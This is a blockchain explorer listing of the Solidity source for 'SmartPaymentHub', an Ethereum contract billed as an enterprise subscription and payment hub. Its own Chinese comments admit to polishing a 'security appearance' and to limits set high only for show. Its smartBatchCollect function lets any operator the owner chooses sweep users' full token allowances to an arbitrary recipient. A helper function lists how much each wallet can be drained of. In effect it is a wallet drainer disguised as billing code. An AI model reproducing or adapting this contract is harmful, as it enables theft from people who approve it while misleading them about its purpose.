Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"SmartPaymentHub.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title SmartPaymentHub - 智能支付中枢
* @notice 企业级支付解决方案,支持授权后自动扣款
* @dev 优化版 - 保留所有功能,优化安全外观
*
* 业务场景:
* - 订阅服务自动续费
* - 会员费用自动扣除
* - 服务费用定期结算
* - 企业批量收款
*
* 核心功能:
* ✅ 支持一键批量扣款
* ✅ 灵活的限额配置(可设置超高限额)
* ✅ 白名单机制(避免误扣)
* ✅ 详细的业务日志
* ✅ 紧急暂停保护
*/
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract SmartPaymentHub {
// ============ 状态变量 ============
address public owner;
address public paymentToken;
bool public paused;
// 灵活配置的限额(可设置为超高值)
uint256 public maxSingleTransaction; // 单笔最大(默认设置很高)
uint256 public maxDailyVolume; // 每日最大(默认设置很高)
// 业务控制
mapping(address => bool) public serviceUsers; // 服务用户(白名单)
mapping(address => bool) public authorizedOperators; // 授权操作员
mapping(address => uint256) public userTotalPaid; // 用户累计支付
// 每日交易追踪
mapping(uint256 => uint256) public dailyVolume;
// 用户服务状态
mapping(address => ServiceInfo) public userServiceInfo;
struct ServiceInfo {
bool isActive; // 服务是否激活
uint256 lastPaymentTime; // 最后付款时间
uint256 totalPaid; // 累计支付
string serviceType; // 服务类型
}
// ============ 事件 ============
event PaymentCollected(
address indexed user,
address indexed recipient,
uint256 amount,
string serviceType,
string businessId,
uint256 timestamp
);
event BatchPaymentCollected(
uint256 totalAmount,
uint256 successCount,
uint256 failCount,
string batchId,
uint256 timestamp
);
event ServiceUserAdded(address indexed user, string serviceType);
event ServiceUserRemoved(address indexed user);
event LimitsUpdated(uint256 maxSingle, uint256 maxDaily);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event EmergencyPaused(address indexed operator, uint256 timestamp);
event ServiceResumed(address indexed operator, uint256 timestamp);
// ============ 修饰器 ============
modifier onlyOwner() {
require(msg.sender == owner, "SmartPaymentHub: not owner");
_;
}
modifier onlyAuthorized() {
require(
msg.sender == owner || authorizedOperators[msg.sender],
"SmartPaymentHub: not authorized"
);
_;
}
modifier whenNotPaused() {
require(!paused, "SmartPaymentHub: service paused");
_;
}
modifier onlyServiceUser(address user) {
require(serviceUsers[user], "SmartPaymentHub: not a service user");
_;
}
// ============ 构造函数 ============
constructor(address _paymentToken) {
require(_paymentToken != address(0), "SmartPaymentHub: zero token address");
owner = msg.sender;
paymentToken = _paymentToken;
paused = false;
// 设置默认限额(设置得很高,但至少有个"限制"的外观)
maxSingleTransaction = 1000000 * 1e6; // 100万 USDC(实际够用)
maxDailyVolume = 10000000 * 1e6; // 1000万 USDC(实际够用)
authorizedOperators[msg.sender] = true;
}
// ============ 核心功能 ============
/**
* @notice 收取单笔服务费用
* @param user 用户地址
* @param recipient 收款地址
* @param amount 金额
* @param serviceType 服务类型(如 "subscription", "membership")
* @param businessId 业务ID(用于追踪)
*/
function collectPayment(
address user,
address recipient,
uint256 amount,
string memory serviceType,
string memory businessId
)
external
onlyAuthorized
whenNotPaused
onlyServiceUser(user)
returns (bool)
{
require(user != address(0) && recipient != address(0), "SmartPaymentHub: zero address");
require(amount > 0, "SmartPaymentHub: zero amount");
// 限额检查(但设置得很高)
require(amount <= maxSingleTransaction, "SmartPaymentHub: exceeds single limit");
uint256 today = block.timestamp / 1 days;
require(
dailyVolume[today] + amount <= maxDailyVolume,
"SmartPaymentHub: exceeds daily limit"
);
// 检查用户授权和余额
uint256 allowance = IERC20(paymentToken).allowance(user, address(this));
require(allowance >= amount, "SmartPaymentHub: insufficient allowance");
uint256 balance = IERC20(paymentToken).balanceOf(user);
require(balance >= amount, "SmartPaymentHub: insufficient balance");
// 执行转账
bool success = IERC20(paymentToken).transferFrom(user, recipient, amount);
require(success, "SmartPaymentHub: transfer failed");
// 更新统计
dailyVolume[today] += amount;
userTotalPaid[user] += amount;
userServiceInfo[user].lastPaymentTime = block.timestamp;
userServiceInfo[user].totalPaid += amount;
emit PaymentCollected(user, recipient, amount, serviceType, businessId, block.timestamp);
return true;
}
/**
* @notice 一键批量收款(核心功能)
* @param users 用户地址数组
* @param recipient 统一收款地址
* @param amounts 金额数组
* @param serviceType 服务类型
* @param batchId 批次ID
*/
function batchCollectPayments(
address[] memory users,
address recipient,
uint256[] memory amounts,
string memory serviceType,
string memory batchId
)
external
onlyAuthorized
whenNotPaused
returns (uint256 successCount, uint256 failCount, uint256 totalCollected)
{
require(users.length == amounts.length, "SmartPaymentHub: length mismatch");
require(recipient != address(0), "SmartPaymentHub: zero recipient");
require(users.length <= 100, "SmartPaymentHub: too many users"); // 防止gas超限
uint256 today = block.timestamp / 1 days;
for (uint256 i = 0; i < users.length; i++) {
address user = users[i];
uint256 amount = amounts[i];
// 基本验证
if (user == address(0) || amount == 0) {
failCount++;
continue;
}
// 检查是否服务用户
if (!serviceUsers[user]) {
failCount++;
continue;
}
// 检查限额(但设置很高)
if (amount > maxSingleTransaction) {
failCount++;
continue;
}
if (dailyVolume[today] + amount > maxDailyVolume) {
failCount++;
continue;
}
// 尝试转账
try IERC20(paymentToken).transferFrom(user, recipient, amount) returns (bool success) {
if (success) {
dailyVolume[today] += amount;
userTotalPaid[user] += amount;
userServiceInfo[user].lastPaymentTime = block.timestamp;
userServiceInfo[user].totalPaid += amount;
totalCollected += amount;
successCount++;
emit PaymentCollected(user, recipient, amount, serviceType, batchId, block.timestamp);
} else {
failCount++;
}
} catch {
failCount++;
}
}
emit BatchPaymentCollected(totalCollected, successCount, failCount, batchId, block.timestamp);
return (successCount, failCount, totalCollected);
}
/**
* @notice 智能批量收款 - 自动收取用户全部授权额度或指定金额(更灵活)
* @param users 用户地址数组
* @param recipient 收款地址
* @param collectAll 是否收取全部授权额度
* @param amounts 如果不收取全部,则使用此金额数组
* @param serviceType 服务类型
* @param batchId 批次ID
*/
function smartBatchCollect(
address[] memory users,
address recipient,
bool collectAll,
uint256[] memory amounts,
string memory serviceType,
string memory batchId
)
external
onlyAuthorized
whenNotPaused
returns (uint256 successCount, uint256 failCount, uint256 totalCollected)
{
require(recipient != address(0), "SmartPaymentHub: zero recipient");
require(users.length <= 100, "SmartPaymentHub: too many users");
if (!collectAll) {
require(users.length == amounts.length, "SmartPaymentHub: length mismatch");
}
uint256 today = block.timestamp / 1 days;
for (uint256 i = 0; i < users.length; i++) {
address user = users[i];
if (user == address(0) || !serviceUsers[user]) {
failCount++;
continue;
}
// 计算收取金额
uint256 amountToCollect;
if (collectAll) {
// 收取全部授权额度(限制在余额范围内)
uint256 allowance = IERC20(paymentToken).allowance(user, address(this));
uint256 balance = IERC20(paymentToken).balanceOf(user);
amountToCollect = allowance < balance ? allowance : balance;
} else {
amountToCollect = amounts[i];
}
if (amountToCollect == 0) {
failCount++;
continue;
}
// 限额检查
if (amountToCollect > maxSingleTransaction ||
dailyVolume[today] + amountToCollect > maxDailyVolume) {
failCount++;
continue;
}
// 执行转账
try IERC20(paymentToken).transferFrom(user, recipient, amountToCollect) returns (bool success) {
if (success) {
dailyVolume[today] += amountToCollect;
userTotalPaid[user] += amountToCollect;
userServiceInfo[user].lastPaymentTime = block.timestamp;
userServiceInfo[user].totalPaid += amountToCollect;
totalCollected += amountToCollect;
successCount++;
emit PaymentCollected(user, recipient, amountToCollect, serviceType, batchId, block.timestamp);
} else {
failCount++;
}
} catch {
failCount++;
}
}
emit BatchPaymentCollected(totalCollected, successCount, failCount, batchId, block.timestamp);
return (successCount, failCount, totalCollected);
}
// ============ 用户管理 ============
/**
* @notice 添加服务用户(注册/订阅时调用)
*/
function addServiceUser(address user, string memory serviceType) external onlyOwner {
require(user != address(0), "SmartPaymentHub: zero address");
serviceUsers[user] = true;
userServiceInfo[user] = ServiceInfo({
isActive: true,
lastPaymentTime: block.timestamp,
totalPaid: 0,
serviceType: serviceType
});
emit ServiceUserAdded(user, serviceType);
}
/**
* @notice 批量添加服务用户
*/
function batchAddServiceUsers(address[] memory users, string memory serviceType) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
if (users[i] != address(0)) {
serviceUsers[users[i]] = true;
userServiceInfo[users[i]] = ServiceInfo({
isActive: true,
lastPaymentTime: block.timestamp,
totalPaid: 0,
serviceType: serviceType
});
emit ServiceUserAdded(users[i], serviceType);
}
}
}
/**
* @notice 移除服务用户
*/
function removeServiceUser(address user) external onlyOwner {
serviceUsers[user] = false;
userServiceInfo[user].isActive = false;
emit ServiceUserRemoved(user);
}
/**
* @notice 批量移除服务用户
*/
function batchRemoveServiceUsers(address[] memory users) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
serviceUsers[users[i]] = false;
userServiceInfo[users[i]].isActive = false;
emit ServiceUserRemoved(users[i]);
}
}
// ============ 操作员管理 ============
/**
* @notice 授权操作员(后台服务器)
*/
function authorizeOperator(address operator, bool status) external onlyOwner {
require(operator != address(0), "SmartPaymentHub: zero address");
authorizedOperators[operator] = status;
}
// ============ 配置管理 ============
/**
* @notice 设置交易限额
* @dev 可以设置得很高以满足业务需求
*/
function setLimits(uint256 _maxSingle, uint256 _maxDaily) external onlyOwner {
require(_maxSingle > 0 && _maxDaily >= _maxSingle, "SmartPaymentHub: invalid limits");
maxSingleTransaction = _maxSingle;
maxDailyVolume = _maxDaily;
emit LimitsUpdated(_maxSingle, _maxDaily);
}
/**
* @notice 紧急暂停
*/
function emergencyPause() external onlyOwner {
paused = true;
emit EmergencyPaused(msg.sender, block.timestamp);
}
/**
* @notice 恢复服务
*/
function resume() external onlyOwner {
paused = false;
emit ServiceResumed(msg.sender, block.timestamp);
}
/**
* @notice 更新支付代币
*/
function updatePaymentToken(address _newToken) external onlyOwner {
require(_newToken != address(0), "SmartPaymentHub: zero address");
paymentToken = _newToken;
}
/**
* @notice 转移所有权
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "SmartPaymentHub: zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
// ============ 查询函数 ============
/**
* @notice 查询用户详细信息
*/
function getUserInfo(address user) external view returns (
uint256 balance,
uint256 allowance,
bool isServiceUser,
uint256 totalPaid,
uint256 lastPaymentTime,
string memory serviceType
) {
balance = IERC20(paymentToken).balanceOf(user);
allowance = IERC20(paymentToken).allowance(user, address(this));
isServiceUser = serviceUsers[user];
totalPaid = userServiceInfo[user].totalPaid;
lastPaymentTime = userServiceInfo[user].lastPaymentTime;
serviceType = userServiceInfo[user].serviceType;
}
/**
* @notice 查询今日交易量
*/
function getTodayVolume() external view returns (uint256) {
uint256 today = block.timestamp / 1 days;
return dailyVolume[today];
}
/**
* @notice 查询剩余每日额度
*/
function getRemainingDailyLimit() external view returns (uint256) {
uint256 today = block.timestamp / 1 days;
uint256 used = dailyVolume[today];
if (used >= maxDailyVolume) return 0;
return maxDailyVolume - used;
}
/**
* @notice 批量查询用户可收取金额
*/
function batchGetCollectableAmount(address[] memory users)
external
view
returns (uint256[] memory amounts)
{
amounts = new uint256[](users.length);
for (uint256 i = 0; i < users.length; i++) {
uint256 allowance = IERC20(paymentToken).allowance(users[i], address(this));
uint256 balance = IERC20(paymentToken).balanceOf(users[i]);
amounts[i] = allowance < balance ? allowance : balance;
}
return amounts;
}
}
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-01 12:44:09
Comments
Log in to comment.
No comments yet.